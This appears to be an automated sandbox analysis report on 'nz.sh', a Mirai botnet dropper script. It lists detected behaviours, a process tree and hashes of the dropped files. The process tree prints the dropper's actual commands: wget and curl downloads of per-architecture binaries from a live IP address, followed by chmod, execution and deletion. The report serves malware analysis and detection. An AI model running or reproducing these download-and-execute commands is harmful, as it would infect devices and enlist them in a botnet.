Analysis

  • max time kernel
    149s
  • max time network
    46s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20260513-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    15/08/2026, 02:49

General

  • Target
    nz.sh
  • Size 2KB
  • Sample260815-da81dsdp8w
  • SHA256 09e484fc3dcd85a4c8b709277d0b17d2c5620a20812fea43f1c78916781cb319
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

Botnet
  • MIRAI

Extracted

Family
  • mirai

Botnet
  • MIRAI

Extracted

Family
  • mirai

Botnet
  • MIRAI

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 12 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • UPX packed file 8 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to shm directory 1 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/nz.sh
    /tmp/nz.sh
    1⤵
    • Executes dropped EXE
    PID:715
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:718
    • /usr/bin/wget
      wget http://157.173.119.111/bins/px86
      2⤵
      • Writes file to tmp directory
      PID:723
    • /usr/bin/curl
      curl -O http://157.173.119.111/bins/px86
      2⤵
      • Writes file to tmp directory
      PID:736
    • /bin/chmod
      chmod +x busybox nz.sh px86 systemd-private-9a0095b41f044fc8b3c41e0c342ba267-systemd-timedated.service-G0stOj
      2⤵
      • File and Directory Permissions Modification
      PID:743
    • /tmp/px86
      ./px86 px86
      2⤵
        PID:744
      • /bin/rm
        rm -rf px86
        2⤵
          PID:746
        • /usr/bin/wget
          wget http://157.173.119.111/bins/pmips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:747
        • /usr/bin/curl
          curl -O http://157.173.119.111/bins/pmips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:749
        • /bin/chmod
          chmod +x busybox nz.sh pmips systemd-private-9a0095b41f044fc8b3c41e0c342ba267-systemd-timedated.service-G0stOj
          2⤵
          • File and Directory Permissions Modification
          PID:750
        • /tmp/pmips
          ./pmips pmips
          2⤵
          • System Network Configuration Discovery
          PID:751
        • /bin/rm
          rm -rf pmips
          2⤵
          • System Network Configuration Discovery
          PID:753
        • /usr/bin/wget
          wget http://157.173.119.111/bins/px86_64
          2⤵
            PID:754
          • /usr/bin/curl
            curl -O http://157.173.119.111/bins/px86_64
            2⤵
            • Writes file to tmp directory
            PID:755
          • /bin/chmod
            chmod +x busybox nz.sh px86_64 systemd-private-9a0095b41f044fc8b3c41e0c342ba267-systemd-timedated.service-G0stOj
            2⤵
            • File and Directory Permissions Modification
            PID:756
          • /tmp/px86_64
            ./px86_64 px86_64
            2⤵
              PID:757
            • /bin/rm
              rm -rf px86_64
              2⤵
                PID:758
              • /usr/bin/wget
                wget http://157.173.119.111/bins/pmpsl
                2⤵
                • Writes file to tmp directory
                PID:759
              • /usr/bin/curl
                curl -O http://157.173.119.111/bins/pmpsl
                2⤵
                • Writes file to tmp directory
                PID:760
              • /bin/chmod
                chmod +x busybox nz.sh pmpsl systemd-private-9a0095b41f044fc8b3c41e0c342ba267-systemd-timedated.service-G0stOj
                2⤵
                • File and Directory Permissions Modification
                PID:770
              • /tmp/pmpsl
                ./pmpsl pmpsl
                2⤵
                • Deletes itself
                • Modifies Watchdog functionality
                • Changes its process name
                • Reads runtime system information
                • Writes file to shm directory
                PID:771
              • /bin/rm
                rm -rf pmpsl
                2⤵
                  PID:774
                • /usr/bin/wget
                  wget http://157.173.119.111/bins/parm
                  2⤵
                  • Writes file to tmp directory
                  PID:778
                • /usr/bin/curl
                  curl -O http://157.173.119.111/bins/parm
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:786
                • /bin/chmod
                  chmod +x busybox nz.sh parm systemd-private-9a0095b41f044fc8b3c41e0c342ba267-systemd-timedated.service-G0stOj
                  2⤵
                  • File and Directory Permissions Modification
                  PID:796
                • /tmp/parm
                  ./parm parm
                  2⤵
                    PID:798
                  • /bin/rm
                    rm -rf parm
                    2⤵
                      PID:801
                    • /usr/bin/wget
                      wget http://157.173.119.111/bins/parm5
                      2⤵
                      • Writes file to tmp directory
                      PID:802
                    • /usr/bin/curl
                      curl -O http://157.173.119.111/bins/parm5
                      2⤵
                      • Writes file to tmp directory
                      PID:812
                    • /bin/chmod
                      chmod +x busybox nz.sh parm5 systemd-private-9a0095b41f044fc8b3c41e0c342ba267-systemd-timedated.service-G0stOj
                      2⤵
                      • File and Directory Permissions Modification
                      PID:827
                    • /tmp/parm5
                      ./parm5 parm5
                      2⤵
                        PID:828
                      • /bin/rm
                        rm -rf parm5
                        2⤵
                          PID:832
                        • /usr/bin/wget
                          wget http://157.173.119.111/bins/parm6
                          2⤵
                          • Writes file to tmp directory
                          PID:833
                        • /usr/bin/curl
                          curl -O http://157.173.119.111/bins/parm6
                          2⤵
                          • Writes file to tmp directory
                          PID:841
                        • /bin/chmod
                          chmod +x busybox nz.sh parm6 systemd-private-9a0095b41f044fc8b3c41e0c342ba267-systemd-timedated.service-G0stOj
                          2⤵
                          • File and Directory Permissions Modification
                          PID:849
                        • /tmp/parm6
                          ./parm6 parm6
                          2⤵
                            PID:850
                          • /bin/rm
                            rm -rf parm6
                            2⤵
                              PID:852
                            • /usr/bin/wget
                              wget http://157.173.119.111/bins/parm7
                              2⤵
                              • Writes file to tmp directory
                              PID:853
                            • /usr/bin/curl
                              curl -O http://157.173.119.111/bins/parm7
                              2⤵
                              • Writes file to tmp directory
                              PID:859
                            • /bin/chmod
                              chmod +x busybox nz.sh parm7 systemd-private-9a0095b41f044fc8b3c41e0c342ba267-systemd-timedated.service-G0stOj
                              2⤵
                              • File and Directory Permissions Modification
                              PID:868
                            • /tmp/parm7
                              ./parm7 parm7
                              2⤵
                                PID:869
                              • /bin/rm
                                rm -rf parm7
                                2⤵
                                  PID:871
                                • /usr/bin/wget
                                  wget http://157.173.119.111/bins/pppc
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:872
                                • /usr/bin/curl
                                  curl -O http://157.173.119.111/bins/pppc
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:875
                                • /bin/chmod
                                  chmod +x busybox nz.sh pppc
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:887
                                • /tmp/pppc
                                  ./pppc pppc
                                  2⤵
                                    PID:888
                                  • /bin/rm
                                    rm -rf pppc
                                    2⤵
                                      PID:890
                                    • /usr/bin/wget
                                      wget http://157.173.119.111/bins/pspc
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:891
                                    • /usr/bin/curl
                                      curl -O http://157.173.119.111/bins/pspc
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:903
                                    • /bin/chmod
                                      chmod +x busybox nz.sh pspc
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:914
                                    • /tmp/pspc
                                      ./pspc pspc
                                      2⤵
                                        PID:916
                                      • /bin/rm
                                        rm -rf pspc
                                        2⤵
                                          PID:922
                                        • /usr/bin/wget
                                          wget http://157.173.119.111/bins/pm68k
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:923
                                        • /usr/bin/curl
                                          curl -O http://157.173.119.111/bins/pm68k
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:934
                                        • /bin/chmod
                                          chmod +x busybox nz.sh pm68k
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:949
                                        • /tmp/pm68k
                                          ./pm68k pm68k
                                          2⤵
                                            PID:953
                                          • /bin/rm
                                            rm -rf pm68k
                                            2⤵
                                              PID:956
                                            • /usr/bin/wget
                                              wget http://157.173.119.111/bins/psh4
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:958
                                            • /usr/bin/curl
                                              curl -O http://157.173.119.111/bins/psh4
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:961
                                            • /bin/chmod
                                              chmod +x busybox nz.sh psh4
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:965
                                            • /tmp/psh4
                                              ./psh4 psh4
                                              2⤵
                                                PID:966
                                              • /bin/rm
                                                rm -rf psh4
                                                2⤵
                                                  PID:968

                                              Network

                                                    MITRE ATT&CK Enterprise v16

                                                    Replay Monitor

                                                    Loading Replay Monitor...

                                                    Downloads

                                                    .comm

                                                    • Path /dev/shm/.comm
                                                    • Size 6B
                                                    • SHA256 006d2e045ab0288b07e72b01d29f4f739fa47baf479889ea4581d92cc7dc4a3a
                                                    • MD5 SHA1 SHA512

                                                    busybox

                                                    • Path /tmp/busybox
                                                    • Size 857KB
                                                    • SHA256 80d636e2f1237e9adc9ea0bf7f42b17d7df8781db0684c33696411e50588a38c
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    parm

                                                    • Path /tmp/parm
                                                    • Size 34KB
                                                    • SHA256 db54a6b0df51bdc18e43dfc91b8600625415592ddf88d54c2455f1c3934c2f5c
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    parm5

                                                    • Path /tmp/parm5
                                                    • Size 33KB
                                                    • SHA256 eec75b78d511756863d55565fb269906e50705a61bc6f00e9c8fbca3d07e6fb1
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    parm6

                                                    • Path /tmp/parm6
                                                    • Size 37KB
                                                    • SHA256 ad2cfd8b661654b7518a991c8caca2b2f3455c3cac6794b2da55ffc0d89baaf4
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    parm7

                                                    • Path /tmp/parm7
                                                    • Size 58KB
                                                    • SHA256 740045574b5ad8967ada3f569ac1211c1900e9821cef7b4566bb8b7b0223a0e5
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    pm68k

                                                    • Path /tmp/pm68k
                                                    • Size 79KB
                                                    • SHA256 0c393756c8713871b94d0cda58331cb449662b5325f2a612d86de514706e69b2
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    pmips

                                                    • Path /tmp/pmips
                                                    • Size 36KB
                                                    • SHA256 bb1d71acda0f065e6bace361dec4d89bbc3338f8a2c780a614c94c99019724bc
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    pmpsl

                                                    • Path /tmp/pmpsl
                                                    • Size 37KB
                                                    • SHA256 f56bd9b536daddf32e277cb6dceaa901c060a3729ac15b017d356df0b89a3c68
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    pppc

                                                    • Path /tmp/pppc
                                                    • Size 33KB
                                                    • SHA256 38560878d6da281011c9e628f4c9cbf07075ea4da4b14d1bc35849f1eeee6aaf
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    psh4

                                                    • Path /tmp/psh4
                                                    • Size 62KB
                                                    • SHA256 58a02139c0d0511c5c84ebd4e7cd7316868e992796a7ea636bca4ed948b4de3d
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    pspc

                                                    • Path /tmp/pspc
                                                    • Size 76KB
                                                    • SHA256 52576a56e466972d8abbe2e2b76ff6391065544068717b2a8bcf8567bb271c83
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    px86

                                                    • Path /tmp/px86
                                                    • Size 33KB
                                                    • SHA256 b7dd079942df5544c88b861ccf831ac7222c332643cfcd3947d23917c58d3c7c
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    px86_64

                                                    • Path /tmp/px86_64
                                                    • Size 196B
                                                    • SHA256 80c3fe2ae1062abf56456f52518bd670f9ec3917b7f85e152b347ac6b6faf880
                                                    • MD5 SHA1 SHA512 TLSH